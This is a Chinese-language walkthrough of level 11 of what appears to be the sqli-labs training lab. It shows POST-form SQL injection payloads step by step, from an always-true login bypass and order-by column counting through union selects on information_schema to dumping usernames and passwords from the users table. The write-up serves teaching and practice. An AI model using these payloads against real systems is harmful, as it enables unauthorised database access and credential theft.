首先,从11关开始,界面变成了输入框,前十关都是get请求,参数都体现在url中,而十一关开始是post请求,参数是在表单里面。
1.首先判断是何种类型的注入
先在Username输入1,界面返回登录失败的字样
接着再试着输入1',出现报错信息,根据报错提示信息我们可以推断sql提交语句为username='参数' and password=' '
知道了sql语句,接下来就是构造sql语句来进行查询,例如1’ or 1=1#(注意此处不能再使用and来构造恒真语句,因为我们不知道username和password,所以要想判断sql语句是否执行要使用or,这样or后面的语句为true则执行,为false则报错)(还有一个注意点的此处不能再用--+来注释,要使用#)
1‘ or 1=1#成功返回
1’ or 1=2#报错
由此可以判断除sql语句构造正确,接下来就是使用联合查询来进一步查询内容
2.爆列数
1‘ order by 3#报错
1’ order by 2#,无返回内容,由此可以判断出列数应该是2,对于为啥order by 2无内容返回因为是可能不存在username=1,所以查不到内容
3.爆显示位
1‘ union select 1,2#
1’ union select database(),version()# 查询数据库名和版本信息
4.爆表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
5.爆字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
6.爆内容
1' union select 1,group_concat(id,username,password) from users#
OK,到这里第11关就算结束啦!